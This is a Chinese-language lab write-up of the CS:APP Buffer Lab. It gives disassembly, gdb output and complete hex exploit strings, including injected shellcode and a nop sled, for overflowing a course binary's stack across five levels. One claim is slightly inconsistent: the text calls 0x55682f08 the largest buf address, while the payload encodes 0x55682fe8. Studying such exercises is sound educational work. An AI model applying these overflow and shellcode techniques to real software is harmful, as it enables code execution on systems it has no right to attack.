首先,使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。参考write-up。
Level 0
Bufbomb程序运行会读一个字符串,使用一下函数getbuf:
1 2 3 4 5 6 7 8 9
| #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; }
|
Gets函数和标准库的gets功能比较相似,是读取字符串。因为Gets没有办法判断是否buf足够大,所以要用一个函数去判断长度是否小于32。将字符串传入getbuf函数中,若字符串小于32,则返回1.
1 2 3 4 5 6 7 8 9 10
| 080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
|
getbuf是由函数test调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| void test() { int val; volatile int local = uniqueval(); val = getbuf(); if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } }
|
其中,Smoke源码:
1 2 3 4 5
| void smoke(){ puts("Smoke!: You calledsmoke()"); validate(0); exit(0); }
|
level 0 的任务是让getbuf在执行后返回时,执行smoke函数,而不是返回test函数中。
关于堆栈,可以参考书中的这张图
根据上面的汇编代码,可以知道,首先push保存了堆指针(frame pointer),然后%ebp保存帧指针(stack pointer),%esp减0x38。lea把buf的指针地址-0x28(%ebp)传给了Gets函数。所以可以画出堆栈图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| +---------------+ | | | getbuf返回地址 | | | +---------------+ | | | %ebp | | | +---------------+ | | | | | | | buf | | | | 40 byte | | | | | | | +---------------+ | | | %esp | | | +---------------+
|
所以为了修改getbuf返回地址,需要在从buf开始,填充 40 + 4 = 44个字节,并且按照要求,这44个字节要是非0a数。根据汇编得到的smoke地址为08048c18,又因为是电脑小端法,所以构建的文本可以是这样的
1
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
|
Level 1
bufbomb中有个函数fizz:
1 2 3 4 5 6 7 8 9 10
| void fizz(int val) { if (val == cookie) { printf("Fizz!: You calledfizz(0x%x)\n", val); validate(1); } else printf("Misfire: You calledfizz(0x%x)\n", val); exit(0); }
|
题目要求和level 0类似,就是让程序执行fizz而不是返回test。区别就是这个fizz函数要求传入参数,而且传入的参数必须是自己的cookie。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 08048c42 <fizz>: 8048c42: 55 push %ebp 8048c43: 89 e5 mov %esp,%ebp 8048c45: 83 ec 18 sub $0x18,%esp 8048c48: 8b 45 08 mov 0x8(%ebp),%eax 8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048c51: 75 26 jne 8048c79 <fizz+0x37> 8048c53: 89 44 24 08 mov %eax,0x8(%esp) 8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp) 8048c5e: 08 8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt> 8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c72: e8 04 07 00 00 call 804937b <validate> 8048c77: eb 18 jmp 8048c91 <fizz+0x4f> 8048c79: 89 44 24 08 mov %eax,0x8(%esp) 8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp) 8048c84: 08 8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt> 8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
|
通过反汇编,可以发现变量val存在0x8(%ebp)这个位置,所以需要将0x8(%ebp)位置的值修改为cookie。首先前面的44位用非0a数填充,接着应该用fizz的地址08048c42替换原来的返回地址。然后添加4个非0a数,之后就应该添加cookie了。注意cookie也是用到小端表示。
所以构成了:
1
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 88 41 9d 21
|
Level 2
让getbuf调用后执行bang函数,同时修改global_value。因为global_value是全局变量,所以并没储存在栈中。
1 2 3 4 5 6 7 8 9 10
| int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
|
通过反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 08048c9d <bang>: 8048c9d: 55 push %ebp 8048c9e: 89 e5 mov %esp,%ebp 8048ca0: 83 ec 18 sub $0x18,%esp 8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax 8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048cae: 75 26 jne 8048cd6 <bang+0x39> 8048cb0: 89 44 24 08 mov %eax,0x8(%esp) 8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp) 8048cbb: 08 8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt> 8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048ccf: e8 a7 06 00 00 call 804937b <validate> 8048cd4: eb 18 jmp 8048cee <bang+0x51> 8048cd6: 89 44 24 08 mov %eax,0x8(%esp) 8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp) 8048ce1: 08 8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt> 8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
|
在gdb中先在getbuf处设置断点, 接着
让其继续运行到断点处。根据上述的反汇编代码,用 x/i 0x804d100
得到
1 2
| (gdb) x/i 0x804d100 0x804d100 <global_value>: add %al,(%eax)
|
可以知道0x804d100放的是global_value。如果想执行某一个函数,那么就把该函数的入口地址入栈。所以能写出漏洞利用代码,将cookie传入全局变量的地址中,然后将bang的入口地址入栈,接着用ret运行。将以下汇编代码保存到level2.S中。
1 2 3
| movl $0x219d4188,0x804d100 pushl $0x08048c9d ret
|
按照writeup,使用
编译,再用objdump反汇编
1
| objdump -d level2.o > level2.d
|
通过查看level2.d
1 2 3 4 5 6 7 8 9 10 11
| level2.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>: 0: c7 05 00 d1 04 08 88 movl $0x219d4188,0x804d100 7: 41 9d 21 a: 68 9d 8c 04 08 push $0x8048c9d f: c3 ret
|
将getbuf的返回地址改成buf的首地址运行,上一个栈的4字节改成bang函数的地址。这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。
为了得到buf的运行地址,可以使用gdb来获取
1 2
| (gdb) p/x ($ebp-0x28) $1 = 0x55683168
|
现在可以构造文本文件level2.txt,首先前40个字节中先用level2.d左边的操作码填充,剩余空位用00填充,接着用4个00覆盖保存的%ebp地址,最后将恶意函数的入口地址覆盖原来的返回地址,通过ret执行这个恶意函数。
1
| c7 05 00 d1 04 08 88 41 9d 21 68 9d 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 31 68 55
|
Level 3
让getbuf正常返回到test函数,同时返回值为cookie。所以需要恢复被破坏的栈环境,将溢出前的正确的返回地址入栈,然后执行ret。因为getbuf的返回值在%eax寄存器中,溢出时会覆盖%ebp,所以需要进行恢复。
使用GDB
接着
通过查看pc寄存器的位置
1 2 3 4 5 6 7 8 9 10 11
| (gdb) x/10i $pc => 0x8048dae <test+4>: sub $0x24,%esp 0x8048db1 <test+7>: call 0x8048d90 <uniqueval> 0x8048db6 <test+12>: mov %eax,-0xc(%ebp) 0x8048db9 <test+15>: call 0x80491f4 <getbuf> 0x8048dbe <test+20>: mov %eax,%ebx 0x8048dc0 <test+22>: call 0x8048d90 <uniqueval> 0x8048dc5 <test+27>: mov -0xc(%ebp),%edx 0x8048dc8 <test+30>: cmp %edx,%eax 0x8048dca <test+32>: je 0x8048dda <test+48> 0x8048dcc <test+34>: movl $0x804a388,(%esp)
|
可以知道在getbuf函数返回后的一条指令是 0x8048dbe
。
下面就是要构造攻击代码。需要将cookie传入eax寄存器,接着通过push入栈,ret返回来继续执行之后的代码。
1 2 3
| mov $0x219d4188,%eax push $0x08048dbe ret
|
类似Level 2的操作,可以得到攻击文本文件
1 2 3 4 5 6
| b8 88 41 9d 21 68 be 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 31 68 55 68 31 68 55
|
其中,倒数第二行是保存的ebp寄存器地址。
Level 4
首先通过反汇编得到:
1 2 3 4 5 6 7 8 9 10 11 12
| 0804920c <getbufn>: 804920c: 55 push %ebp 804920d: 89 e5 mov %esp,%ebp 804920f: 81 ec 18 02 00 00 sub $0x218,%esp 8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 804921b: 89 04 24 mov %eax,(%esp) 804921e: e8 d7 fa ff ff call 8048cfa <Gets> 8049223: b8 01 00 00 00 mov $0x1,%eax 8049228: c9 leave 8049229: c3 ret 804922a: 90 nop 804922b: 90 nop
|
通过 p/x ($ebp-0x208) 可以知道buf的首地址为 0x55682f88,且buf为520个字节大小。因为getbufn被执行了五次,通过gdb continue 5次,每次都查看buf地址,可以得到每次的首地址。
1 2 3 4 5
| 0x55682f88 0x55682f48 0x55682fe8 0x55682f28 0x55682f08
|
根据testn的前一部分反汇编代码
1 2 3 4 5 6 7 8 9
| 08048e26 <testn>: 8048e26: 55 push %ebp 8048e27: 89 e5 mov %esp,%ebp 8048e29: 53 push %ebx 8048e2a: 83 ec 24 sub $0x24,%esp 8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval> 8048e32: 89 45 f4 mov %eax,-0xc(%ebp) 8048e35: e8 d2 03 00 00 call 804920c <getbufn> 8048e3a: 89 c3 mov %eax,%ebx
|
esp和ebp寄存器相等,所以当 push %ebx 时, 此时的 %ebp = %esp + 0x4, sub $0x24,%esp 之后, %ebp = %esp + 0x28,这个就是%esp和%ebp每次的变化关系。此外可以知道call getbufn的下一条指令的地址为 0x8048e3a。
所以得出汇编代码
1 2 3 4
| lea 0x28(%esp),%ebp mov $0x219d4188,%eax push $0x8048e3a ret
|
根据建议, buf的520个自己空间加上返回地址和ebp共528个字节,去掉返回地址和攻击的指令字节码,剩余的都用nop也就是0x90填充。也就是509个nop形成”nop sled”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24 28 b8 88 41 9d 21 68 3a 8e 04 08 c3 e8 2f 68 55
|
最后的返回地址,选择最大buf地址来覆盖,也就是用0x55682f08。
值得注意的是,在运行hex2raw程序时需要添上 -n 这个参数。
总结
BufLab 算是完成了,稍微对模拟缓冲区溢出熟悉了一点,加深了对程序堆栈的理解。